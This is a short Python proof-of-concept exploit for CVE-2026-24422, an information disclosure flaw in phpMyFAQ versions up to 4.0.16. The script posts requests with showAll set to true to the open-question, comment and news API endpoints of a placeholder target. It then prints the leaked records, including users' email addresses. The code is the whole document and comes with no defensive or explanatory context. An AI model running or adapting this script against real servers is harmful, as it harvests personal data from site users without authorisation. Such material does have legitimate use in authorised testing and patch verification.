CVE-2026-24422

import requests # CVE-2026-24422 PoC - phpMyFAQ Information Disclosure # Target: phpMyFAQ <= 4.0.16 # Vulnerability: Multiple API endpoints expose sensitive user information TARGET_URL = "https://vulnerable-server.com" def exploit_open_question_api(): """Exploit OpenQuestionController::list() endpoint to leak non-public records with email addresses""" endpoint = f"{TARGET_URL}/api/openquestion/list" headers = { "Content-Type": "application/json" } # Default showAll=true causes information disclosure data = { "action": "list", "showAll": True } try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Success! Retrieved {len(result.get('data', []))} records") # Extract email addresses from leaked data for record in result.get('data', []): if 'email' in record: print(f"[+] Leaked email: {record['email']}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def exploit_comment_api(): """Exploit comment API for similar information disclosure""" endpoint = f"{TARGET_URL}/api/comment/list" headers = {"Content-Type": "application/json"} data = {"action": "list", "showAll": True} try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Comment API leaked {len(result.get('data', []))} records") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def exploit_news_api(): """Exploit news API for information disclosure""" endpoint = f"{TARGET_URL}/api/news/list" headers = {"Content-Type": "application/json"} data = {"action": "list", "showAll": True} try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] News API leaked {len(result.get('data', []))} records") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("[*] CVE-2026-24422 phpMyFAQ Information Disclosure PoC") print("[*] Target: phpMyFAQ <= 4.0.16") exploit_open_question_api() exploit_comment_api() exploit_news_api()

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